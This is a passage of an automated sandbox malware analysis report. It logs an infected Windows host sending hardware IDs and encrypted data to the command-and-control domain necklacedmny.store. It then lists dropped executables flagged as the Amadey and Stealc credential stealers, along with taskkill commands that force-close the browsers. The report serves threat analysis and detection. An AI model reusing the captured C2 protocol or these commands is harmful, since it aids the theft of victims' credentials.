2024-10-30 11:37:46 UTC	5111	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 60 93 1b 88 82 85 4d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 Data Ascii: `M?lrQMn 64F6(X&7~`
2024-10-30 11:37:47 UTC	1019	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 11:37:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=o6fsuou7v0fsv5hkss6i6868st; expires=Sun, 23 Feb 2025 05:24:26 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=lqiuTtCXl8rLV2kQ3fh6f6M2sRKYCQVZzzhkIXDdwa42qMI8aOcOHn2fzjAqn4ng%2F0QU2W41JuZoQIOCPeY5%2F1T8wCD27ZV%2FjsrRGQMK%2FcMn3R3409uusY9WEmeQsPnLsokPZVg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dab1d827dd0e847-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1046&sent=13&recv=26&lost=0&retrans=0&sent_bytes=2844&recv_bytes=21406&delivery_rate=2698974&cwnd=251&unsent_bytes=0&cid=722d2505e0b727c2&ts=680&x=0"
2024-10-30 11:37:47 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 38 0d 0a Data Ascii: 11ok 173.254.250.78
2024-10-30 11:37:47 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.4	62871	188.114.97.3	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 11:37:48 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1270 Host: necklacedmny.store
2024-10-30 11:37:48 UTC	1270	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 43 31 46 35 31 38 31 44 34 44 32 44 44 45 36 34 45 35 37 36 39 31 31 43 31 34 35 42 33 41 38 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"DC1F5181D4D2DDE64E576911C145B3A8--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-30 11:37:48 UTC	1020	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 11:37:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=u1ki9r6ue9g5ljop52dena6t3p; expires=Sun, 23 Feb 2025 05:24:27 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2FMxkwVAP3Q4lTjhfIXh3GHvk4rp8q7WXDYTBAAt%2BCw3SM%2BNTbccnoHCY43UqhI6EbMtfECwvDMmRdxucQJ4Nrqb4NMDZAZ2agD%2BBFYPxnpVPeVPaRDwB4uuT2nh%2FC%2FhT4u3S9X8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dab1d8d1b0ce8ed-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1183&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2845&recv_bytes=2189&delivery_rate=2460492&cwnd=233&unsent_bytes=0&cid=e465b1079537ca11&ts=340&x=0"
2024-10-30 11:37:48 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 38 0d 0a Data Ascii: 11ok 173.254.250.78
2024-10-30 11:37:48 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.4	62881	188.114.97.3	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 11:37:49 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 48457 Host: necklacedmny.store
2024-10-30 11:37:49 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 43 31 46 35 31 38 31 44 34 44 32 44 44 45 36 34 45 35 37 36 39 31 31 43 31 34 35 42 33 41 38 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"DC1F5181D4D2DDE64E576911C145B3A8--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-30 11:37:49 UTC	15331	OUT	Data Raw: 79 3d ca 64 fc 20 73 46 48 0e 92 06 81 72 d8 f8 b2 c0 46 42 19 1c 71 10 0d 43 a7 0b 65 7c 8f 82 d4 89 57 b9 26 81 3d 00 15 7f 29 0b 07 e0 21 37 96 3a 8c 86 94 8a b6 b4 7c bf fe ec 61 79 92 20 70 41 dc 2c e5 08 a5 5b 2b a8 10 12 88 d9 b8 dc ca 91 a8 f2 b2 05 5c 15 94 b5 cc ab ba 92 85 9f 81 f1 b0 2a d8 cd 83 05 43 81 f3 3c 44 51 0f 3e c9 bd 11 30 ea 9e dc df 87 d4 83 8c 0f 02 26 0a db ac ca 27 a3 af dd cb 00 08 96 77 38 93 98 41 fb 3e 1b ea 37 d6 f9 72 3f 3a 92 32 ba f0 b6 84 3a 21 a7 c9 ed b3 dc cc 4f bb 7f 0b d8 e7 f1 7e 17 69 b7 1c ca e7 3f f5 d9 ee c4 44 70 6b 9c 61 e9 d3 4f cc d3 8d d4 b9 a9 be b9 07 ca 16 33 ac b0 4a f5 72 f3 44 8e 88 ee 77 e7 06 ce 06 a8 15 e2 8c 2f a7 dc e6 1b b0 90 00 3c 92 15 42 75 d4 aa a5 66 d8 5b 57 5a 44 ed cc 2b b2 62 16 7b Data Ascii: y=d sFHrFBqCe\|W&=)!7:\|ay pA,[+\*C<DQ>0&'w8A>7r?:2:!O~i?DpkaO3JrDw/<Buf[WZD+b{
2024-10-30 11:37:49 UTC	15331	OUT	Data Raw: 96 f4 d7 21 57 58 40 df 79 bb 4c 82 d9 fd 2c 85 25 e7 dd c9 f9 66 43 96 9f f1 9a 02 c3 4a 2b a8 95 6d f0 58 63 fe ed 19 73 c2 f0 c2 97 a1 93 55 cd ba 67 05 cc dd 17 96 45 4e 6e 0c f1 6a ca 7b 46 31 64 03 92 19 1b 73 d2 9a 14 d3 9a bd c8 c2 3e 6e 3f f7 2b 5e 43 13 88 ed 46 e0 6a d3 dd fb f7 1f 0b 04 5e eb 46 76 83 db e4 a1 42 0a ce 88 6a 99 3d d3 19 5c bd 06 1c 4a 4c 3f 09 cc 15 fb bf cb f5 d3 e6 76 1e 77 84 0a 67 36 cb a1 72 15 ba 6f f1 f8 71 da fb 31 f2 64 39 27 4b c7 c0 85 23 a3 5f 39 d3 4f 6e 20 76 44 42 9f 3a 7d 99 b0 7b f8 85 3a 6f be 48 08 49 df 60 f9 6c a8 03 42 17 e6 3a 27 82 47 9e c5 79 f7 a3 fd 94 97 1a 46 d5 c9 bf 2a 33 d9 f4 a5 cc 53 03 5a 2d a6 ef 58 84 e4 83 08 40 f6 a4 c1 37 2a 84 8e 65 ce 5a b1 e7 d1 2c 0e b1 16 d3 a1 e3 60 4f a6 3a 8a 21 Data Ascii: !WX@yL,%fCJ+mXcsUgENnj{F1ds>n?+^CFj^FvBj=\JL?vwg6roq1d9'K#_9On vDB:}{:oHI`lB:'GyF3SZ-X@7eZ,`O:!
2024-10-30 11:37:49 UTC	2464	OUT	Data Raw: 52 98 fe b4 b4 b0 03 fa 45 eb 05 7c 38 da 58 e6 f6 e7 f5 01 85 1a 87 fb 62 04 c6 ba 30 21 2b 30 be d6 50 03 dd d2 03 66 79 45 f8 67 c2 30 81 e5 42 ee 32 78 4a 51 42 b4 07 bd c9 5f f3 86 76 23 ee 49 40 c8 ca 65 fa cf 37 a4 21 06 63 b4 2a 60 f0 2d 89 5c 25 c7 e7 ea 34 c7 4e f0 74 e9 5f d9 0e 8d b3 52 34 ac 4b 00 3f 84 87 e1 9f 0c 81 d7 e0 25 fd cb 4d 66 ae 14 1b 9a 3b fd 25 f1 21 16 a2 07 69 24 d3 d4 36 de be 60 35 07 be 0d 2b 69 40 31 4a 57 c2 44 e9 4a 29 19 b4 f6 2c cb ed 12 79 c2 62 68 34 45 2c a8 d4 7f da e2 7e d9 c0 17 05 a3 9a 98 56 30 0e 5a 3c c6 1d ea 8e bc 69 26 bd f2 25 52 ff 4e ba cc 09 f9 d6 4b 0c af f2 16 46 db 25 76 a2 96 2d 6d 05 ff 05 a6 6c f3 29 d5 dc e6 eb 4a 94 48 12 69 7b f6 7e 63 66 10 b6 eb a4 92 43 62 87 34 a6 94 2a e0 85 6a e2 0e 5c Data Ascii: RE\|8Xb0!+0PfyEg0B2xJQB_v#I@e7!c`-\%4Nt_R4K?%Mf;%!i$6`5+i@1JWDJ),ybh4E,~V0Z<i&%RNKF%v-ml)JHi{~cfCb4j\
2024-10-30 11:37:50 UTC	1015	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 11:37:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=4jghbs7s2c9ssn58di8nulhdq5; expires=Sun, 23 Feb 2025 05:24:29 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=DmDOh3h4AfqWKO7zgG3ENKnkEuXcOqFhalqMH%2FyGNcIgu9k93Vn4OzoZJxfkYKRLdE9%2BqbkxSjqNTYtNgHxjilNjpLMy0JpP0e4ovcE3fIEiBWKdndGOZNLWd148RgxbedGzdTo%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dab1d974840485d-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1956&sent=24&recv=56&lost=0&retrans=0&sent_bytes=2845&recv_bytes=49509&delivery_rate=1454545&cwnd=251&unsent_bytes=0&cid=0eb3f79480ff9066&ts=612&x=0"
2024-10-30 11:37:50 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 38 0d 0a Data Ascii: 11ok 173.254.250.78
2024-10-30 11:37:50 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.4	62891	188.114.97.3	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 11:37:51 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 87 Host: necklacedmny.store
2024-10-30 11:37:51 UTC	87	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d 26 68 77 69 64 3d 44 43 31 46 35 31 38 31 44 34 44 32 44 44 45 36 34 45 35 37 36 39 31 31 43 31 34 35 42 33 41 38 Data Ascii: act=get_message&ver=4.0&lid=4SD0y4--legendaryy&j=&hwid=DC1F5181D4D2DDE64E576911C145B3A8
2024-10-30 11:37:51 UTC	1011	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 11:37:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=v7pobmihnbacu2sdrtksulmogu; expires=Sun, 23 Feb 2025 05:24:30 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0H76nAoWcgUnPY9KdjAi6TNGWWbuPv%2F98nPrzGBW7DmYjjhoPIYylaGQu%2FL0Z79F9kezWcQkJIaUIKpQYke5HnMDHntxSYiQ5iEXKKdQiWPWWrC64CQXpSSjRTWv5i7mRlYSYv8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dab1d9ebd3c2ca8-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1186&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=989&delivery_rate=2012508&cwnd=251&unsent_bytes=0&cid=8042547a02a774b6&ts=485&x=0"
2024-10-30 11:37:51 UTC	214	IN	Data Raw: 64 30 0d 0a 47 51 4a 74 77 51 48 42 6a 71 78 79 46 58 51 53 41 69 42 70 32 30 73 37 2b 68 62 45 57 2f 4f 76 6b 6f 71 72 4d 44 6d 50 72 71 74 43 65 55 2b 30 49 2f 75 73 78 41 5a 68 42 43 68 65 44 7a 58 30 65 67 50 50 4f 50 5a 71 78 6f 47 6a 75 35 67 65 43 4c 6e 79 68 48 5a 6b 43 35 30 75 70 65 76 4b 58 48 41 4d 64 79 41 4d 53 37 30 2f 47 63 41 6d 36 48 6d 57 6a 61 69 36 31 68 78 43 72 64 75 4a 49 79 41 46 74 58 57 78 74 50 42 64 53 56 73 6a 4f 68 56 48 36 58 6f 4f 31 43 66 31 61 4e 32 65 70 4e 61 45 58 56 44 68 79 2f 63 32 63 41 79 76 5a 61 37 6a 67 68 64 74 45 54 41 75 41 67 2b 76 61 51 48 4b 4f 75 59 2b 30 5a 57 69 39 2f 59 3d 0d 0a Data Ascii: d0GQJtwQHBjqxyFXQSAiBp20s7+hbEW/OvkoqrMDmPrqtCeU+0I/usxAZhBCheDzX0egPPOPZqxoGju5geCLnyhHZkC50upevKXHAMdyAMS70/GcAm6HmWjai61hxCrduJIyAFtXWxtPBdSVsjOhVH6XoO1Cf1aN2epNaEXVDhy/c2cAyvZa7jghdtETAuAg+vaQHKOuY+0ZWi9/Y=
2024-10-30 11:37:51 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	07:36:00
Start date:	30/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x340000
File size:	3'016'704 bytes
MD5 hash:	C9026D15B750CD2D99E938C9A16C0FEA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1757652611.00000000010D9000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	07:36:34
Start date:	30/10/2024
Path:	C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe"
Imagebase:	0xfd0000
File size:	2'895'872 bytes
MD5 hash:	6EB4B86646866EA6FA65E78F6D15E44A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 35%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	07:36:36
Start date:	30/10/2024
Path:	C:\Users\user\AppData\Local\Temp\AJK1SC9862O5LRO4.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\AJK1SC9862O5LRO4.exe"
Imagebase:	0xda0000
File size:	1'933'824 bytes
MD5 hash:	8E78C36254328BDAFF299220F0FC1D82
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000005.00000003.2055282800.0000000005390000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000005.00000002.2096481983.0000000000DA1000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	07:36:40
Start date:	30/10/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0xd20000
File size:	1'933'824 bytes
MD5 hash:	8E78C36254328BDAFF299220F0FC1D82
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000006.00000003.2099183730.0000000004DD0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	07:36:40
Start date:	30/10/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0xd20000
File size:	1'933'824 bytes
MD5 hash:	8E78C36254328BDAFF299220F0FC1D82
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000007.00000003.2102133109.00000000050E0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000007.00000002.2142549332.0000000000D21000.00000040.00000001.01000000.0000000C.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	07:36:51
Start date:	30/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe"
Imagebase:	0xcc0000
File size:	3'016'704 bytes
MD5 hash:	C9026D15B750CD2D99E938C9A16C0FEA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 38%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	07:36:57
Start date:	30/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe"
Imagebase:	0xf70000
File size:	2'136'064 bytes
MD5 hash:	9EC79EAC864343887ECDF94B7D236918
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000009.00000003.2261496330.0000000005740000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000009.00000002.2310828358.0000000001AEE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000009.00000002.2309214794.0000000000F71000.00000040.00000001.01000000.0000000F.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 49%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	07:37:00
Start date:	30/10/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0xd20000
File size:	1'933'824 bytes
MD5 hash:	8E78C36254328BDAFF299220F0FC1D82
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000A.00000003.2292834036.0000000004E10000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000A.00000002.2336121912.0000000000D21000.00000040.00000001.01000000.0000000C.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	07:37:02
Start date:	30/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1002607001\dd62608cd9.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1002607001\dd62608cd9.exe"
Imagebase:	0xc50000
File size:	919'552 bytes
MD5 hash:	388A4D9E5A5EC3446324F1DCFEE1F8DB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 47%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	07:37:02
Start date:	30/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM firefox.exe /T
Imagebase:	0x20000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	07:37:02
Start date:	30/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	07:37:04
Start date:	30/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM chrome.exe /T
Imagebase:	0x20000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	07:37:04
Start date:	30/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	07:37:04
Start date:	30/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe"
Imagebase:	0xcc0000
File size:	3'016'704 bytes
MD5 hash:	C9026D15B750CD2D99E938C9A16C0FEA
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000010.00000003.2409524653.0000000000681000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000010.00000003.2422151331.0000000000681000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000010.00000003.2426207049.000000000062E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000010.00000003.2470951656.000000000068E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000010.00000003.2471200478.0000000000692000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000010.00000003.2376427706.0000000000682000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000010.00000003.2389013409.000000000067E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000010.00000003.2366019019.000000000067E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000010.00000003.2426207049.0000000000682000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000010.00000003.2452134408.0000000000682000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000010.00000003.2470591112.0000000000688000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 